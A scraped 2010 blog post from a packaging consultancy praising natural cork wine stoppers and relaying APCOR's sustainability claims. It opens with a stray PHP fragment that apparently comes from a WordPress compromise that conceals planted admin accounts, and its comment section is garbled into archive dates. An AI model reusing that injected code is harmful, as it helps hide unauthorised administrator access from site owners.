if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Design Cognition » Blog Archive - your packaging design, development, project management & training partner & consultant

Traditional wine bottle cork packaging

Traditional wine bottle cork packaging

There’s nothing quite like the ‘pop’ of a cork exploding from a wine bottle when it’s opened is there? For me, although screw thread or rubber closures do the job, they don’t quite have the same emotional appeal. Well, for those of you who have a similar opinion (94% of wine drinkers according to a survey of 1500), you will be pleased to hear that there is research available to backup the sustainable credentials of cork and its continued use in wine bottles.

According to the Portuguese Cork Association (APCOR) there are 3 misconceptions regarding cork stoppers, that are highlighted in a recent Packaging News article:

1. Trees are NOT cut down in the production of cork – they are harvested in a sustainable manner. In fact harvesting, if managed properly, actually guarantees a trees survival.

2. Screw caps are NOT the most environmentally friendly closure, as cork is 100% natural and renewable and apparently uses 10 times less carbon dioxide (CO2) emissions than plastic stoppers and 24 times less than screw caps.

3. Corked wine is (allegedly) is NO MORE of an issue with natural cork than tainitng is with other closure systems (although this has been very carefully worded by APCOR).

You can read the full article on the Packaging News website.

You could also check out the campaign website www.ilovenaturalcork.co.uk

Chris Penfold

Tags: , , , , , , , ,

This entry was posted on Friday, July 23rd, 2010 at 10:06 am and is filed under Design, Drinks Packaging, Environmental Issues, Food Packaging, Marketing, Materials, Opinion, Recycling. You can follow any responses to this entry through the RSS 2.0 feed. Responses are currently closed, but you can trackback from your own site.

One Comment

  1. Norman says:
    July 28, 2014 at 3:09 am

    December 2024

  2. July 2015
  3. September 2014
  4. August 2014
  5. July 2014
  6. April 2014
  7. September 2013
  8. March 2013
  9. February 2013
  10. July 2012
  11. January 2012
  12. December 2011
  13. November 2011
  14. August 2011
  15. April 2011
  16. March 2011
  17. February 2011
  18. January 2011
  19. December 2010
  20. November 2010
  21. October 2010
  22. September 2010
  23. August 2010
  24. July 2010
  25. June 2010
  26. May 2010
  27. April 2010
  28. March 2010
  29. February 2010
  30. January 2010
  31. December 2009
  32. November 2009
  33. October 2009
  34. September 2009
  35. August 2009
  36. July 2009
  37. June 2009
  38. May 2009

  39. Tag Bag

  40. Tag Cloud

  41. Twitter Feed

    Posting tweet...